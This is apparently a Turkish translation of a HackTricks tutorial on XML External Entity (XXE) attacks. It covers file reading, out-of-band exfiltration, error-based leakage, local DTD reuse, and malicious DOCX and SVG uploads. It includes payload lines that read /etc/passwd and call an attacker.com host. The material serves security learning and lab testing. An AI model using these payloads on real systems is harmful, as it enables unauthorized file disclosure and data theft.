<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıkça adlandırılmış etiketlerin kullanımına izin veren esnek bir yapıya sahiptir. HTML'den farklı olarak, belirli bir dizi önceden tanımlanmış etiketle sınırlı olmamasıyla dikkat çeker. XML'in önemi, AJAX teknolojisindeki ilk rolüne rağmen JSON'un yükselişiyle azalmıştır.
* **Varlıklar Aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsil edilmesini sağlar; bu karakterler, XML'in etiket sistemine çakışmayı önlemek için `<` ve `>` ile eşleşir.
* **XML Öğelerinin Tanımlanması**: XML, öğe türlerinin tanımlanmasına izin verir, öğelerin nasıl yapılandırılması gerektiğini ve hangi içeriğe sahip olabileceğini belirler, her türlü içerikten belirli alt öğelere kadar uzanabilir.
* **Belge Türü Tanımı (DTD)**: DTD'ler, belgenin yapısını ve içerebileceği veri türlerini tanımlamak için XML'de önemlidir. İç, dış veya bir kombinasyon olabilirler, belgelerin nasıl biçimlendirildiğini ve doğrulandığını yönlendirir.
* **Özel ve Harici Varlıklar**: XML, esnek veri temsili için DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan harici varlıklar, özellikle XML Harici Varlık (XXE) saldırıları bağlamında güvenlik endişelerine neden olur; bu saldırılar, XML ayrıştırıcıların harici veri kaynaklarını nasıl işlediğini sömürür: `<!DOCTYPE foo [ <!ENTITY myentity "değer" > ]>`
* **Parametre Varlıklarıyla XXE Tespiti**: Geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XXE zafiyetlerini tespit etmek için özellikle XML parametre varlıkları kullanılabilir. Bu varlıklar, DNS sorgularını tetikleyerek veya kontrol edilen bir alan adına HTTP istekleri göndererek zafiyeti doğrulamak için dış-bant tespit tekniklerine izin verir.
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
[**Bu saldırıların çoğu harika Portswiggers XEE lablarında test edildi: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
**Önceden yorumlanmış teknik** kullanılarak sunucunun, zayıf noktalarını göstermek için kontrol ettiğiniz bir sunucuya erişmesini sağlayabilirsiniz. Ancak, bu çalışmıyorsa, belki de **XML varlıklarına izin verilmiyordur**, bu durumda **XML parametre varlıklarını** deneyebilirsiniz:
**Bu durumda, sunucuya kötü niyetli bir yük taşıyan yeni bir DTD yükleteceğiz ve bir dosyanın içeriğini HTTP isteği aracılığıyla göndereceğiz (**çok satırlı dosyalar için bunu** _**ftp://**_**kullanarak dışarıya çıkarabilirsiniz**_**ftp://**_**örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temellendirilmiştir.**
* Bir XML parametre entitesi, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
* Başka bir XML parametre entitesi, `%eval`, tanımlanır. Dinamik olarak yeni bir XML parametre entitesi, `%exfiltrate`, bildirir. `%exfiltrate` entitesi, URL'nin sorgu dizgisinde `%file` entitesinin içeriğini ileterek saldırganın sunucusuna HTTP isteği yapacak şekilde ayarlanır.
2.**Entitelerin Yürütülmesi:**
*`%eval` entitesi kullanılarak, `%exfiltrate` entitesinin dinamik bildiriminin yürütülmesi sağlanır.
* Ardından `%exfiltrate` entitesi kullanılarak, dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği başlatılır.
Bu yükleme, bir XML ayrıntı varlığı`%xxe` tanımlar ve bunu DTD içine dahil eder. Bir XML ayrıştırıcı tarafından işlendiğinde, bu yükleme saldırganın sunucusundan harici DTD'yi getirir. DTD daha sonra içeride yorumlanır, kötü amaçlı DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
**Bu durumda, sunucunun, bir dosyanın içeriğini bir hata mesajı içinde gösterecek kötü amaçlı bir DTD yüklemesini sağlayacağız (bu yalnızca hata mesajlarını görebiliyorsanız geçerlidir).** [**Buradan örnek.**](https://portswigger.net/web-security/xxe/blind)
Kötü amaçlı harici Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
1.`/etc/passwd` dosyasının içeriğini içeren `file` adlı bir XML ayrıntı varlığı tanımlanır.
2.`eval` adlı bir XML parametre varlığı tanımlanır ve başka bir XML parametre varlığı olan `error` için dinamik bir bildirim içerir. Bu `error` varlığı değerlendirildiğinde, `file` varlığının içeriğini adı olarak içeren bir varlık yüklemeye çalışır.
4.`error` varlığının çağrılması, mevcut olmayan bir dosyayı yüklemeye çalışarak, `/etc/passwd` dosyasının içeriğini dosya adının bir parçası olarak içeren bir hata mesajı üretir.
XML dilindeki bir açıklık, bir belgenin DTD'sinin iç ve dış deklarasyonları karıştırdığında **hassas verilerin hata mesajları aracılığıyla ortaya çıkmasına neden olabilir**. Bu sorun, dışarıdan ve içeriden deklare edilen varlıkların içeriğini yeniden tanımlamayı mümkün kılarak hata tabanlı XXE saldırılarının gerçekleştirilmesine olanak tanır. Bu tür saldırılar, dış bir DTD'de orijinal olarak deklare edilen bir XML parametre varlığının, iç bir DTD içinden yeniden tanımlanmasını sömürür. Sunucu tarafından dış bağlantılar engellendiğinde, saldırganların hassas bilgileri ortaya çıkarmak için yerel DTD dosyalarına güvenmesi gerekmektedir.
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda bir DTD dosyası bulunduğunu ve `custom_entity` adında bir varlık tanımladığını düşünelim. Bir saldırgan, aşağıdaki gibi bir karma DTD göndererek `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası oluşturabilir:
* Sunucunun dosya sisteminde bulunan harici DTD dosyasını içeren `local_dtd` adında bir XML parametre varlığının tanımı yapılır.
* Harici DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanımlama gerçekleşir ve `/etc/passwd` dosyasının içeriğini ortaya çıkarmak için bir [hata tabanlı XXE saldırısını](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsaması amaçlanır. Bu yeniden tanımlama, bir ayrıştırma hatası ortaya çıkarmak üzere tasarlanmıştır.
*`local_dtd` varlığını kullanarak, harici DTD etkinleştirilir ve yeni tanımlanan `custom_entity` kapsanır. Bu adımlar dizisi, saldırı tarafından hedeflenen hata mesajının yayınlanmasına neden olur.
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda bir DTD içerir ve bu DTD'de `ISOamso` adında bir varlık bulunur.
Bu teknik bir **iç DTD** kullandığından önce geçerli bir tane bulmanız gerekmektedir. Bunun için sunucunun kullandığı**işletim sistemi/Yazılımı** yükleyerek ve **varsayılan DTD'leri arayarak** veya sistemler içindeki varsayılan DTD'lerin bir listesini **edinebilir** ve var olup olmadığını**kontrol edebilirsiniz**:
Ayrıca, **kurban sistemin Docker görüntüsüne** sahipseniz, aynı depodaki aracı kullanarak **görüntüyü tarama** ve **sistem içinde bulunan DTD'lerin yolunu bulma** imkanınız vardır. Nasıl yapılacağını öğrenmek için [githubın Readme dosyasını](https://github.com/GoSecure/dtd-finder) okuyun.
Bu saldırının daha detaylı bir açıklaması için, [bu harika yazının ikinci bölümüne](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **Detectify**'dan bakabilirsiniz.
**Birçok web uygulaması, Microsoft Office belgelerini yüklemeyi sağlar**, ardından bu belgelerden belirli detayları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için en az bir XML dosyasını ayrıştırması gerekecektir.
Bu zafiyeti test etmek için, **XXE yüklemesi içeren bir Microsoft Office dosyası oluşturmak gereklidir**. İlk adım, belgenin açılacağı boş bir dizin oluşturmaktır.
Belge açıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicide (örneğin vim) açılıp düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenilen XXE yüklemesini içerecek şekilde değiştirilmelidir.
Son olarak, kötü niyetli poc.docx dosyasını oluşturmak için dosya sıkıştırılabilir. Önceden oluşturulan "unzipped" dizininden, aşağıdaki komut çalıştırılmalıdır:
Şimdi, oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve bir isteğin Burp Collaborator günlüklerinde görünmesi umulabilir.
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalara erişimi sağlamak üzere tasarlanmıştır ve bir **PKZIP** arşivinde (örneğin `.zip`, `.jar`, vb.) dosya erişimini sağlamayı amaçlar.
PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için **son derece faydalıdır.** Sistem DTD dosyalarını kötüye nasıl kullanacağınızı öğrenmek için [bu bölüme](xxe-xee-xml-external-entity.md#error-based-system-dtd) bakın.
Bu süreci ikinci adımda kesintiye uğratmanın ilginç bir tekniği, arşiv dosyasını sunarken sunucu bağlantısını sürekli açık tutmaktır. Bu amaçla [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) bulunan araçlar kullanılabilir, bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme vb. bir yol geçişi içeren başka bir zafiyeti **artırmanıza yardımcı olabilir**.
Müşteri verilerini sunucu tarafındaki XML belgelerine entegre ederken, arka uç SOAP isteklerinde olduğu gibi, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır, bu da `DOCTYPE` öğesini değiştirme konusundaki kısıtlamalar nedeniyle geleneksel XXE saldırılarını engeller. Bununla birlikte, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesine harici varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafında oluşturulan XML belgesinin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.
Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanının bildirilmesi ve amaçlanan harici varlığın dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair özlü bir örnek bulunmaktadır:
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, daha sonra sunucuda işlenirken XML veya XML içeren dosya biçimlerinin nasıl işlendiğindeki güvenlik açıklarını sömürebilir. Ofis belgeleri (DOCX) ve resimler (SVG) gibi yaygın dosya biçimleri XML'e dayanmaktadır.
Kullanıcılar **resim yüklediğinde**, bu resimler sunucu tarafından işlenir veya doğrulanır. PNG veya JPEG gibi biçimler bekleyen uygulamalar için bile, **sunucunun resim işleme kütüphanesi SVG resimleri de destekleyebilir**. XML tabanlı bir biçim olan SVG, saldırganların kötü niyetli SVG resimleri göndererek sunucuyu XXE (XML Dış Varlık) güvenlik açıklarına maruz bırakmasına neden olabilir.
Her iki durumda da SVG formatı, sunucunun yazılımının XML işleme yeteneklerini sömüren saldırıları başlatmak için kullanılır, sağlam giriş doğrulaması ve güvenlik önlemlerinin gerekliliğini vurgular.
Bir POST isteği XML formatında veri kabul ediyorsa, o istekte bir XXE'yi sömürmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
İsteği değiştirmek için "Content Type Converter" adlı bir Burp Eklentisini kullanabilirsiniz. Bu örneği [buradan](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) bulabilirsiniz:
Eğer web PHP kullanıyorsa, `file:/` yerine **php sarmalları**`php://filter/convert.base64-encode/resource=` kullanarak **dahili dosyalara erişebilirsiniz**.
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) adresinden bir hile\
**Html varlıkları** ile kodlayarak bir **varlık içinde varlık** oluşturabilir ve ardından bir **dtd yüklemek** için onu çağırabilirsiniz.\
Kullanılan **HTML Varlıklarının****sayısal** olması gerektiğini unutmayın (örneğin \[bu örnekte]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
Bu örnek [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenilmiştir.
XLIFF (XML Localization Interchange File Format), yerelleştirme süreçlerinde veri değişimini standartlaştırmak için kullanılır. Yerelleştirilebilir verilerin yerelleştirme araçları arasında transferi için kullanılan, CAT (Computer-Aided Translation) araçları için ortak bir değişim formatı olarak XML tabanlı bir formattır.
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Bu yaklaşım, Kullanıcı Ajanının Java 1.8'in kullanıldığını gösterdiğini ortaya koyuyor. Bu Java sürümünün bir kısıtlaması, Out of Band tekniği kullanılarak /etc/passwd gibi bir satır sonu karakteri içeren dosyaların alınamamasıdır.
Hata Tabanlı Veri Sızdırma Bu kısıtlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
Bu değişiklik, HTTP aracılığıyla gönderilen hata çıktısında yansıtıldığı gibi dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için Hem Bağlam Dışı Hem de Hata Tabanlı teknikleri kullanan başarılı bir XXE (XML Dışsal Varlık) saldırısını gösterir.
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine keyfi verileri kullanmasını sağlayabilirse, sunucuda anında kod yürütme yetkisine sahip olacaktır.
* Kendi harici DTD'sini kullanarak HTTP aracılığıyla bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.